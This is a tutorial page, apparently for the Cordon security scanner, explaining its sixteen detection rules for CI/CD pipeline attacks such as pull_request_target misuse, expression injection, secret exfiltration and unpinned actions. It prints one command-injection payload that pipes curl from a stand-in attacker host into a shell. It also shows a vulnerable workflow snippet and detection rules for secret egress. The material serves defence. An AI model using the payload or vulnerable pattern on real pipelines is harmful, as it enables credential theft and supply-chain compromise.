All tutorials

CI/CD pipeline attacks

Cordon 0.6.07 sections · 6 diagramsView this tutorial on GitHub

Tutorial 07 shows how to run Cordon in CI. This one is about attacks on CI -- sixteen rules for the pipeline itself, across GitHub Actions, GitLab, Jenkins, Azure Pipelines, CircleCI, Buildkite and Travis.

CI/CD pipeline attacks, figure 1
┌──────────────────────────────────────────────────────────────────────────┐
│ Why the pipeline is the target                                           │
├──────────────────────────────────────────────────────────────────────────┤
│   Your laptop has your code. Your CI runner has your code AND            │
│   every credential needed to publish it: the registry token, the         │
│   signing key, the cloud role, the deploy webhook.                       │
│                                                                          │
│   An attacker who runs one command there does not need your              │
│   machine. They can publish a release.                                   │
└──────────────────────────────────────────────────────────────────────────┘
CI/CD pipeline attacks, figure 2
┌──────────────────────────────────────────────────────────────────────────┐
│   RUN AS THE REPOSITORY, FROM OUTSIDE IT                                 │
│     SUSPECT.CI.PR_TARGET.001         pull_request_target plus a          │
│                                      checkout of the PR's own head       │
│                                                                          │
│   INJECT A COMMAND INTO THE RUNNER                                       │
│     SUSPECT.CI.EXPRESSION_INJECTION.001                                  │
│                                      an event field pasted straight      │
│                                      into a shell line                   │
│                                                                          │
│   TAKE THE SECRETS OUT                                                   │
│     MALWARE.CI.SECRET_EXFIL.001      the secrets context sent to a host  │
│     SUSPECT.CI.SECRET_EGRESS.001     a secret reaches a network call     │
│                                                                          │
│   REPLACE WHAT THE BUILD PRODUCES                                        │
│     SUSPECT.CI.ARTIFACT_POISONING.001                                    │
│                                      an untrusted artefact downloaded    │
│                                      and then used                       │
│                                                                          │
│   RUN CODE NOBODY REVIEWED                                               │
│     SUSPECT.CI.FETCH_EXEC.001        a fetch piped into a shell          │
│     POLICY.CI.UNPINNED_ACTION.001    a tag, not a commit SHA             │
└──────────────────────────────────────────────────────────────────────────┘
   RUN AS THE REPOSITORY, FROM OUTSIDE IT     SUSPECT.CI.WORKFLOW_RUN_CHECKOUT.001   workflow_run checking out the                                            commit that triggered it     SUSPECT.CI.SELF_HOSTED_FORK.001        a fork's pull request on a                                            runner that keeps its state   INJECT A COMMAND INTO THE RUNNER     SUSPECT.CI.GITLAB_INJECTION.001        $CI_COMMIT_TITLE in a script     SUSPECT.CI.AZURE_INJECTION.001         $(Build.SourceBranchName)     SUSPECT.CI.CIRCLE_INJECTION.001        << pipeline.git.branch >>     SUSPECT.CI.JENKINS_INJECTION.001       "${env.BRANCH_NAME}" in sh   DECIDE WHAT THE RELEASE IS BUILT FROM     SUSPECT.CI.CACHE_POISONING.001         a publishing job restoring a                                            cache a pull request can write   HOLD MORE THAN THE JOB NEEDS     POLICY.CI.WRITE_ALL_PERMISSIONS.001    permissions: write-all     POLICY.CI.UNPINNED_REUSABLE_WORKFLOW.001                                            a workflow call by branch or tag

The four injection rules are the same attack in four dialects: a value the contributor chooses is expanded into the text of a script before any shell parses it, so quoting inside the script cannot help. Each one has a test for the documented safe spelling beside it, because a CI rule that fires on the remediation is worse than no rule.

CI/CD pipeline attacks, figure 3
┌──────────────────────────────────────────────────────────────────────────┐
│   pull_request                     pull_request_target                   │
├──────────────────────────────────────────────────────────────────────────┤
│   runs the PR's code               runs the BASE branch's workflow       │
│   no secrets                       WITH SECRETS                          │
│   read-only token                  write token                           │
│                                                                          │
│   ...which is safe, and is why the trigger exists.                       │
│                                                                          │
│   It stops being safe the moment the workflow checks out the             │
│   pull request's own head:                                               │
│                                                                          │
│      on: pull_request_target                                             │
│      steps:                                                              │
│        - uses: actions/checkout@v4                                       │
│          with:                                                           │
│            ref: <the PR head sha expression>      ◀── here               │
│        - run: npm install && npm test                                    │
│                                                                          │
│   `npm install` runs that fork's postinstall script, on a runner         │
│   holding your publish token. Any stranger can open the PR.              │
│                                                                          │
│      SUSPECT.CI.PR_TARGET.001                                            │
└──────────────────────────────────────────────────────────────────────────┘
CI/CD pipeline attacks, figure 4
┌──────────────────────────────────────────────────────────────────────────┐
│   GitHub expands an expression into the shell script BEFORE bash         │
│   ever sees it. It is textual substitution, not an argument.             │
│                                                                          │
│      - run: echo "Thanks <expr github.event.issue.title>"                │
│                                                                          │
│   An issue titled      a"; curl evil.example | sh; #                     │
│   becomes a command. The attacker wrote no code and touched no           │
│   file -- they typed a title.                                            │
│                                                                          │
│   The fix is an env indirection, so it arrives as data:                  │
│                                                                          │
│      - env:                                                              │
│          TITLE: <expr github.event.issue.title>                          │
│        run: echo "Thanks $TITLE"                                         │
│                                                                          │
│      SUSPECT.CI.EXPRESSION_INJECTION.001                                 │
└──────────────────────────────────────────────────────────────────────────┘

Cordon treats these context fields as attacker-controlled: issue.title, issue.body, pull_request.title, pull_request.body, comment.body, review.body, head_ref, head.label, commit.message, author.name, author.email, discussion.title, discussion.body, page_name.

CI/CD pipeline attacks, figure 5
┌──────────────────────────────────────────────────────────────────────────┐
│   uses: some/action@v3        a tag. The author can move it.             │
│   uses: some/action@a1b2c3d   a commit. They cannot.                     │
│                                                                          │
│   A tag is mutable, so `@v3` is a promise rather than a fact --          │
│   and it is a promise made by somebody whose account you do not          │
│   control. tj-actions/changed-files showed what happens when that        │
│   promise is broken: retagged, and every workflow using the tag          │
│   ran the new code on its next run.                                      │
│                                                                          │
│   POLICY.CI.UNPINNED_ACTION.001 is POLICY, not SUSPECT. It is            │
│   posture, so by default it is reported and does NOT fail the            │
│   build (tutorial 14, advisory_domains).                                 │
└──────────────────────────────────────────────────────────────────────────┘
# CI config is found by path AND by content, so a workflow in an# unusual directory is still read as onecordon-scanner scan . --include '.github/**' --include '.gitlab-ci.yml'# just this domaincordon-scanner scan . -f json:out.jsonjq '.findings[] | select(.rule_id | test("\\.CI\\.")) | .rule_id' out.json
CI/CD pipeline attacks, figure 6
┌──────────────────────────────────────────────────────────────────────────┐
│   The SAME behaviour means opposite things in the two places:            │
│                                                                          │
│     reads a secret + calls an API                                        │
│       in an install hook ...... critical. It runs on a consumer's        │
│                                 machine, unprompted, as them.            │
│       in a CI job ............. that is the job. Reading a token         │
│                                 out of the vault and calling the         │
│                                 deploy API is what a deploy does.        │
│                                                                          │
│   Conflating the two made Elasticsearch's .buildkite scripts             │
│   produce fifteen critical findings, all of them a build doing           │
│   build things. `ci_hook_paths` is kept separate from                    │
│   `install_hook_paths` for exactly this reason.                          │
└──────────────────────────────────────────────────────────────────────────┘

Next: 08 · Containers, Kubernetes and infrastructure as code.